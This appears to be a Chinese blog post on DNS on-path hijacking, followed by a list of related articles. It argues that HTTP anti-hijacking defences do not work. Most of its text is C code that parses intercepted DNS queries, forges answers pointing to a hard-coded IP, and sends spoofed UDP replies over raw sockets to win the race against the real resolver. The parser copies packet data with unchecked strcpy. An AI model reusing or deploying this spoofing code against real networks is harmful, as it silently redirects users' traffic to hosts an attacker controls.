上篇说到旁路劫持的原理与实现,主要还是针对TCP下HTTP服务而言的,有粉儿问了二个问题,一个问题是基于TCP的HTTP服务可以防劫持吗,网上有许多关于HTTP防劫持的办法,有说检测服务地址的,有说分片传输请求的,有说检测ttl值异常的,有说禁止重定向的,结论是都没用,伪造报文里网络层地址原本就是用户的目标地址,否则还叫什么伪造呢,请求报文分片web端能识别劫持设备就能识别,况且你确定你分片的报文在网络设备层发送前不会合并吗,ttl异常检测完全不靠谱,不用重定向200OK照样让你乖乖跳转;另一个问题是UDP能实现旁路劫持控制吗,结论是可以,UDP不同于TCP无连接无状态,只要数据合法先到先得,早年运营商控制P2P数据传输对带宽的占用就使用过类似方法,直接看代码吧不复杂。

DNS协议

// 0 1--4 05 06 07 08 9-11 12-15

// +----+--------+----+----+----+----+--------+-------+

// | QR | opcode | AA | TC | RD | RA | | rcode |

// +----+--------+----+----+----+----+--------+-------+

// +--------------------------------+

// | DNS Header: ID + flags |

// +--------------------------------+

// | Question: type of query |

// +--------------------------------+

// | Answer: RR answer to query |

// +--------------------------------+

// | Authority: RR for name server |

// +--------------------------------+

// | Additional: RR(s) other info |

// +--------------------------------+

DNS解析

void GtDnsParse(UCHAR* puszPacket, GTDNSHEADER_S* pstHead, GTDNSQUESTION_S* pstQues)

{

UCHAR* puszCur = puszPacket;

/* dns header */

memcpy(&pstHead->m_usIdent, puszCur, sizeof(USHORT));

puszCur += sizeof(USHORT);

memcpy(&pstHead->m_usFlags, puszCur, sizeof(USHORT));

puszCur += sizeof(USHORT);

memcpy(&pstHead->m_usQuCount, puszCur, sizeof(USHORT));

puszCur += sizeof(USHORT);

memcpy(&pstHead->m_usAnCount, puszCur, sizeof(USHORT));

puszCur += sizeof(USHORT);

memcpy(&pstHead->m_usNaCount, puszCur, sizeof(USHORT));

puszCur += sizeof(USHORT);

memcpy(&pstHead->m_usAdCount, puszCur, sizeof(USHORT));

puszCur += sizeof(USHORT);

/* dns question */

if (ntohs(pstHead->m_usQuCount) > 0) {

strcpy(pstQues->m_szUrl, (char*)puszCur);

puszCur += strlen(pstQues->m_szUrl) + 1;

memcpy(&pstQues->m_usType, puszCur, sizeof(USHORT));

puszCur += sizeof(USHORT);

memcpy(&pstQues->m_usClass, puszCur, sizeof(USHORT));

puszCur += sizeof(USHORT);

}

return;

}

DNS劫持

UINT GtDnsForge(UCHAR* puszPacket, GTDNSHEADER_S* pstHead, GTDNSQUESTION_S* pstQues)

{

UCHAR* puszCur = puszPacket;

/* dns header */

memcpy(puszCur, &pstHead->m_usIdent, sizeof(USHORT));

puszCur += sizeof(USHORT);

*(USHORT*)puszCur = htons(0X8180);

/**(USHORT*)puszCur |= DNS_FLAG_QR;

*(USHORT*)puszCur |= DNS_FLAG_AA;

*(USHORT*)puszCur |= DNS_FLAG_RD;

*(USHORT*)puszCur |= DNS_FLAG_RA;*/

puszCur += sizeof(USHORT);

*(USHORT*)puszCur = pstHead->m_usQuCount;

puszCur += sizeof(USHORT);

*(USHORT*)puszCur = GT_DNS_AN;

puszCur += sizeof(USHORT);

*(USHORT*)puszCur = GT_DNS_NA;

puszCur += sizeof(USHORT);

*(USHORT*)puszCur = GT_DNS_AD;

puszCur += sizeof(USHORT);

/* dns question */

strcat((char*)puszCur, pstQues->m_szUrl);

puszCur += strlen(pstQues->m_szUrl) + 1;

*(USHORT*)puszCur = pstQues->m_usType;

puszCur += sizeof(USHORT);

*(USHORT*)puszCur = pstQues->m_usClass;

puszCur += sizeof(USHORT);

/* dns answer */

*(USHORT*)puszCur = GT_DNS_DOMAIN;

puszCur += sizeof(USHORT);

*(USHORT*)puszCur = GT_DNS_AN;

puszCur += sizeof(USHORT);

*(USHORT*)puszCur = GT_DNS_AN;

puszCur += sizeof(USHORT);

*(UINT*)puszCur = GT_DNS_DEFAULT_TTL;

puszCur += sizeof(UINT);

*(USHORT*)puszCur = GT_DNS_AN_SIZE;

puszCur += sizeof(USHORT);

*(UINT*)puszCur = inet_addr(GT_DNS_HTML);

puszCur += sizeof(UINT) + 1;

return (UINT)(puszCur - puszPacket);

}

DNS伪造

void GtRawDnsSend(int iSocket, UCHAR* puszHeader, UCHAR* puszData, int iDataLength)

{

USHORT usSrcPort = 0;

USHORT usDstPort = 0;

struct sockaddr_in stRaw;

struct in_addr stSrcAddress;

struct in_addr stDstAddress;

struct ip* pstIP = NULL;

struct udphdr* pstUdp = NULL;

struct udphdr* pstRedirUdp = NULL;

UCHAR uszRedir[PACKET_SIZE] = { 0 };

/* ip header */

pstIP = (struct ip*)puszHeader;

memcpy(&stSrcAddress, &pstIP->ip_src, sizeof(struct in_addr));

memcpy(&stDstAddress, &pstIP->ip_dst, sizeof(struct in_addr));

/* udp Header */

pstUdp = (struct udphdr*)(puszHeader + pstIP->ip_hl * 4);

usSrcPort = ntohs(pstUdp->uh_sport);

usDstPort = ntohs(pstUdp->uh_dport);

/* redir packet */

memcpy(uszRedir + sizeof(struct ip) + sizeof(struct udphdr), puszData, iDataLength);

pstRedirUdp = (struct udphdr*)(uszRedir + sizeof(struct ip));

GtRawUdpHead((char*)pstRedirUdp, usDstPort, usSrcPort, sizeof(struct udphdr) + iDataLength);

pstRedirUdp->uh_sum = GtRawTransportCheckSum(IPPROTO_UDP, (char*)pstRedirUdp, sizeof(struct udphdr) + iDataLength, stDstAddress, stSrcAddress);

GtRawIPHead((char*)uszRedir, IPPROTO_UDP, stDstAddress, stSrcAddress, sizeof(struct ip) + sizeof(struct udphdr) + iDataLength);

memset(&stRaw, '\0', sizeof(struct sockaddr_in));

stRaw.sin_family = AF_INET;

stRaw.sin_addr = stSrcAddress;

stRaw.sin_port = htons(usSrcPort);

if( sendto(iSocket, uszRedir, sizeof(struct ip) + sizeof(struct udphdr) + iDataLength, 0, (struct sockaddr*)&stRaw, sizeof(struct sockaddr_in)) < 0 ) {

GT_ERROR("%s\n", strerror(errno));

}

return;

}

void GtRawUdpHead(char* pszPacket, USHORT usSrc, USHORT usDst, int iLength)

{

struct udphdr* pstUdp = (struct udphdr*)pszPacket;

pstUdp->uh_sport = htons(usSrc);

pstUdp->uh_dport = htons(usDst);

pstUdp->uh_ulen = htons(iLength);

pstUdp->uh_sum = 0;

return;

}

USHORT GtRawTransportCheckSum(UCHAR ucPro, char* pszPacket, int iLength, struct in_addr stSrc, struct in_addr stDst)

{

USHORT usAnswer = 0;

GTTCPPSEUDO_S stPseudo;

char szPseudo[PACKET_SIZE] = { 0 };

memset(&stPseudo, '\0', sizeof(GTTCPPSEUDO_S));

stPseudo.m_stSrc = stSrc;

stPseudo.m_stDst = stDst;

stPseudo.m_ucHolder = 0;

stPseudo.m_ucProtocol = ucPro;

stPseudo.m_usLength = htons(iLength);

memcpy(szPseudo, &stPseudo, sizeof(GTTCPPSEUDO_S));

memcpy(szPseudo + sizeof(GTTCPPSEUDO_S), pszPacket, iLength);

usAnswer = (USHORT)GtRawIPCheckSum((USHORT*)szPseudo, sizeof(GTTCPPSEUDO_S) + iLength);

return usAnswer;

}

连续两篇论述关于劫持的文章其实是想说明,技术本身是为了产品和功能服务的没有好与坏善与恶之说,用的不好给人带来糟糕的体验不说还使人厌烦,用的好可以净化网络环境屏蔽不良信息,希望诸位网络活动的参与者从自身做起共同维护良好的网络秩序。

python实现dns劫持_DNS劫持原理与实现相关推荐

  1. python实现dns欺骗_DNS欺骗攻击

    在本节中,我们将了解DNS服务器.DNS基本上是将域名转换为设备IP地址的服务器.我们可以将域名(如www.google.com)转换为存储Google网站的设备的IP地址.由于使用MITM,可以在我 ...

  2. DNS劫持技术与原理

    DNS劫持含义:DNS劫持又称域名劫持,是通过劫持技术修改域名注册信息,修改DNS解析,劫持修改域名解析结果.使访问域名的用户不能够准确达到目标站点,而进入指定站点. DNS含义:DNS是域名解析系统 ...

  3. http劫持的实现原理以及解决方法

    大家平时上网的时候应该遇到过,就是在不管打开什么网页,下方角落里有时候会出现一些小广告,有时候这些广告,不是访问的站点为了盈利而投放的广告,而是第三方的运营商提供的,这就是 HTTP 劫持. HTTP ...

  4. 深入浅出FE(九)DNS和HTTP劫持问题

    目录 一.DNS劫持和HTTP劫持 二.DNS解析 三.http劫持 一.DNS劫持和HTTP劫持 DNS劫持表象:你输入一个google.com网址,出来的是百度的页面. HTTP劫持表象:访问着g ...

  5. 关于DNS、HTTP劫持的一些事

    1.什么是DNS劫持? DNS劫持就是通过劫持了DNS服务器,通过某些手段取得某域名的解析记录控制权,进而修改此域名的解析结果,导致对该域名的访问由原IP地址转入到修改后的指定IP,其结果就是对特定的 ...

  6. 遇到DNS运营商劫持怎么办、运营商劫持的解决方法有那些

    运营商劫持在如今很普遍,相信很多人还不清楚,什么是运营商劫持?遇到DNS运营商劫持怎么办?本次在这里就为大家科普下. 什么是运营商劫持? 运营商是指那些提供宽带服务的ISP,包括三大运营商中国电信.中 ...

  7. 联通宽带显示dns服务器黄色,怎么查看联通宽带dns是否被劫持

    路由器具有判断网络地址和选择IP路径的功能,它能在多网络互联环境中,建立灵活的连接,可用完全不同的数据分组和介质访问方法连接各种子网DNS劫持一般分2种情况,第一种情况是电脑DNS被劫持,第二种情况是 ...

  8. 计算机网络(8) ——url-页面过程、DNS寻址、劫持专题

    计算机网络(8) --url-页面过程.DNS寻址.劫持专题 文章目录 计算机网络(8) --url-页面过程.DNS寻址.劫持专题 1.浏览器输入url后经历的过程 2.DNS寻址/域名解析过程? ...

  9. DNS服务解析与原理笔记

    引言 DNS介绍 DNS原理与解析 DNS查询 DNS服务搭建 DNS劫持和污染 计算机面试 or 真题 DNS应用扩展 参考与推荐 引言 我想很多人遇到过这样一种情况,电脑突然上不了网了,或者说可以 ...

最新文章

  1. 转:Yaf 路由协议
  2. NeurIPS 2018 | 如何用循环关系网络机智地解决数独类关系推理任务?
  3. RabbitMQ之比较好的资料
  4. linux redhat 6.3: /lib/libz.so.1: no version information available
  5. 结构与算法(05):二叉树与多叉树
  6. 【Flink】Flink 1.14 版本 新特性 Barrier 在流经算子做 checkpoint Barrier跳过 unaligned checkpoint
  7. uTools:一个方法“改变”uTools的插件安装/数据目录
  8. 云原生带来的云安全机遇
  9. virtualbox 桥接模式下虚拟机ping不通网关
  10. 何必!放着985双一流专业不读,非要当程序员去内卷!
  11. QT绘图底层是如何适配各种操作系统的
  12. 如何解决移动端 Retina 屏(高清屏)1px 像素问题
  13. 关于入门小白对java这种面向对象编程语言的封装、继承、多态的理解
  14. 快速排序的时间复杂度和空间复杂度
  15. 新加坡旅游 相关资料
  16. 2020.6.6课堂小结
  17. unity NullReferenceException: Object reference UnityEditor.Graphs.Edge.WakeUp () (at D:/unity/
  18. 雷军微博拧螺丝,CFO为粉丝数发愁
  19. 一个遮罩层怎么遮罩两个图层_遮罩效果全解(13种方法)
  20. Feng Office 3.7.0.5 - 文件上传

热门文章

  1. 经济学原理基本知识-1
  2. 一句话总结设计模式-《大化设计模式》读书笔记
  3. 京东实习Java开发一面面经
  4. linux下的常用命令 + 环境配置 + 数据库安装 一步到位!
  5. 小程序中使用loading组件显示正在加载
  6. 世界各國的返稅情況介紹
  7. java jar在后台运行_【Java】部署jar包并后台运行
  8. 计算机中丢失xapofx1 5.dll,xapofx1_5.dll丢失怎么办
  9. java游戏开发入门(六) - 变量 UI
  10. 2020年中国经济(第二部分)